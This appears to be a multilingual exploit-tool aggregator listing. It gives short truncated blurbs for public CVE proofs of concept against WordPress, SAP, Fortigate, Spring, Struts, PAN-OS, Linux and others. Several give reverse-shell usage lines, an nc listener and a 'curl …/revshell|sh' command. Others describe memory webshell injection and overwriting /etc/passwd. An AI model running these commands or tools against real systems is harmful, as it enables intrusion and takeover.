CVE-2024-50498

CVE-2024-50498 描述 LUBUS WP Query Console 中存在生成代码控制不当（'Code Injection'）漏洞，允许代码注入。此问题影响 WP Query Console：从 n/a 到 1.0。 设置 Netcat 监听器： 在你的机器上打开一个终端并启动 Netcat 监听器，等待反向 shell 连接。 root@kitploit: nc -lvnp 用法 root@kitploit: usage: CVE-2024-50498.py -h -u URL -ip LISTENERIP -P PORT wordpress | Improper...

CVE-2018-8414-POC

CVE-2018-8414 POC Windows Shell パッケージ設定のリモートコード実行の脆弱性 対象: Windows 10 Version 1703 から 1803 / Windows Server Version 1709 から 1803 注意: ファイルの場所（デフォルトのポリシー設定）によっては、エクスプロイトが失敗することがあります。その場合は、Package Settings ディレクトリにファイルをコピーすれば正しく実行されるはずです。...

CVE-2021-31630

CVE-2021-31630 Fellipe Oliveira による PoC CVE-2021-31630 スクリプトを HTB 向けに修正しました。 使い方 'Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"...

CVE-2024-0039-Exploit

CVE-2024-0039-Exploit 説明 CVE-2024-0039の脆弱性を利用するPythonスクリプト：影響を受けるAndroidデバイスで任意のコードを実行します。 注意 : このコードは教育と創造のみを目的としており、善の側に立つためのものです、いわば！ 使用方法 必要な引数を指定してスクリプトを実行します： root@kitploit: python exploit.py --cb-host --cb-port --output exploit.mp4 プロジェクト構造 exploit.py :...

MetabaseRceTools

MetabaseRceTools CVE-2023-38646 Metabase RCE ツール CVE-2023-38646 RCE グラフィカル利用ツール 検証モジュール 指定されたURLを入力すると、未認証Tokenを検出できます コマンド実行 このモジュールを使用するには、まず検証モジュールを実行してtokenを取得する必要があります JarLocation：metabase.jarの場所、デフォルトはカレントディレクトリ メモリシェル注入 現時点ではcmdとgodzillaモードのみ実装されており、x-client-dataで制御します x-client-data:cmd...

CVE-2025-28915

CVE-2025-28915 脆弱性の説明： WordPress は PHP で開発されたブログプラットフォームで、PHP と MySQL のサーバー上で個人ブログサイトを構築することをサポートしています。 WordPress ThemeEgg ToolKit 1.2.9 およびそれ以前のバージョンにはコード問題の脆弱性が存在します。この脆弱性は、危険な種類のファイルのアップロードを許可するため、Web Shell のアップロードにつながる可能性があります。 環境構築： docker pull wordpress...

CVE-2021-30461

영향받는 제품 VoIPmonitor 24.60 RCE 방법 root@kitploit: python3 CVE-2021-30461.py -t ipaddress 브라우저 셸: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami 참고 https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2023-20273

CVE-2023-20273 CVE-2023-20273 エクスプロイト PoC 使用方法 root@kitploit: usage: exploit.py -h -t URL -u Username -p Password -c Command | -r -dest Outfile -www | -tcp | -null -ip LocalIP -port LocalPort -fs filesystem -path filepath -operation operationtype -v -q CVE-2023-20273 Exploit PoC options: -h, --he...

zoneminder-1.29-1.30-rce-exploit

ZoneMinder 1.29/1.30 SQLiからRCEへのエクスプロイト ZoneMinder 1.29/1.30 向けのすぐに実行できる Python エクスプロイトで、認証不要の SQL インジェクション（CVE-2016-10204 、EDB-41239）を連鎖させて、対話型リバースシェルまで到達します。 これは既知の修正済み CVE に対する weaponized/自動化された PoC であり、新しいエクスプロイトではありません。 このバグに対する EDB の PoC は SQLi ペイロードで止まるか、「sqlmap を向ける」だけです。このエクスプロイトは完全な SQL...

CVE-2021-44168

CVE-2021-44168 익스플로잇 목적 CVE-2021-44168을 익스플로잇하여 Fortigate 방화벽에 셸을 드롭하고, Fortigate의 일부 CLI 명령어 실행 시 작동하는 LDPRELOAD 트릭을 통해 접근을 활성화합니다. 루트 셸을 얻습니다. 사용법 컴파일: root@kitploit: gcc -o gensrc-vispkgfile gensrc-vispkgfile.c -lz 실행: root@kitploit: % ./gensrc-vispkgfile ./gensrc-vispkgfile -t | -p filename.i...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, SAPエクスプロイト root@kitploit: POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...

CVE-2023-35803

CVE-2023-35803 - Extreme Networks/Aerohive ワイヤレスアクセスポイントにおける未認証のRCE HiveOS/IQ Engine "curl :8000/revshell|sh" Writeup はこちら: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

Spring4Shell-CVE-2022-22965-POC

Spring4Shell-CVE-2022-22965-POC root@kitploit: ghost㿉uchiha:$ ./exploit.py --help usage: exploit.py -h -f FILENAME -p PASSWORD -d DIRECTORY url Spring4Shell RCE Proof of Concept positional arguments: url Target URL options: -h, --help show this help message and exit -f FILENAME, --filename FILENA...

CVE-2020-17530

S2-061 これらのスクリプトは、vulhub の struts2-059/061 脆弱性テスト環境に基づいて作成されています。汎用的なものではないため、先輩方のご指導をお願いいたします。 struts2-061-poc.py（簡易システムコマンド実行可能） 使用方法：python struts2-061-poc.py http://ip:port command 例：python struts2-061-poc.py http://192.168.0.7:8080 whoami S2-061-shell.py（リバースシェル取得可能） 使用方法： 1. まずマシン A...

CVE-2022-22947-

CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL 표현식 주입 명령 실행 CVE-2022-22947 고질라 메모리쉘 주입 기본 key pass base64 참고: 코드에서 라우트 부분을 지우지 않았습니다. 직접 지우세요.. 테스트 환경: https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md 메모리쉘 클래스:...

CVE-2023-22527-Godzilla-MEMSHELL

CVE-2023-22527-Godzilla-MEMSHELL 使い方 ps: テストバージョンは 8.5.1 です。他のバージョンでも動作するはずですが、テストはしていません。 root@kitploit: 内容参考北辰师傅之前的工具 java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar url 哥斯拉密码 哥斯拉密钥 example java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar http://xxxx/ pass key メモリシェルの注入に成功したが Godzilla...

CVE-2024-3400

CVE-2024-3400: OS 명령 주입 취약점 설명: CVE-2024-3400은 사용자 입력을 받아 적절한 검증 없이 해당 입력을 기반으로 운영 체제 명령을 실행하는 애플리케이션 또는 서비스에 영향을 미치는 보안 취약점입니다. 이 취약점으로 인해 공격자는 수신된 입력을 통해 악의적이거나 파괴적인 OS 명령을 주입할 수 있으며, 잠재적으로 시스템 악용, 데이터 변조, 취약한 시스템에 대한 완전한 제어까지 가능할 수 있습니다. 자세한 정보 및 업데이트를 확인하려면 CVE-2024-3400을 참조하세요. 참고 응답 결과를 기다려...

CVE-2025-6019-udisks-lpe-no-image

CVE-2025-6019-udisks-lpe-no-image CVE-2025-6019とUDisks2を利用した、スクリプトのみの権限昇格チェーン（ファイルシステムイメージは含みません）。 クレジット、コンテキスト、エクスプロイトチェーン このリポジトリは新たな脆弱性を導入するものではありません。 ここで実装されている権限昇格手法は、既に公開されている研究に完全に基づいています。 対象上でイメージを作成せずに動作する既存のスクリプトが見つからなかったため、この自動化スクリプトを作成しました。 元の研究と勧告...

TraditionalJay

TraditionalJay 의도적으로 취약한 클래식 / 전통적인 보안 워크숍용 샵 — 컨테이너가 아닌 VM EC2, Azure VM, GCP Compute Engine 위의 Java 주요 시나리오: 중요 VM 침해 — SQL 인젝션 → Log4Shell CVE-2021-44228 → 외부 C2로 리버스 쉘 !CAUTION 프로덕션 계정에 배포하지 마십시오. VM을 임시로 유지하고 네트워크를 실험실 범위로 한정하십시오. 존재 이유 Jay's Surf Shop은 클라우드 네이티브 런타임ECS / ACA / GKE을 다룹니다...

CVE-2022-0847-DirtyPipe-Exploit

これは何ですか これはMax Kellermann氏によるDirty Pipeの概念実証ですが、ルートシェルを取得した後に/etc/passwd内のrootのパスワードフィールドを上書きし、復元するように修正されています。 補足: この脆弱性の発見や概念実証の作成について、私は一切の功績を主張しません。このエクスプロイトは、迅速かつ簡単に悪用できるようにKellermann氏の概念実証を少し修正したものに過ぎません。機会があれば、この非常に興味深い脆弱性に関する元の記事（https://dirtypipe.cm4all.com/）をぜひお読みください。理解する価値が十分にあります。 使用...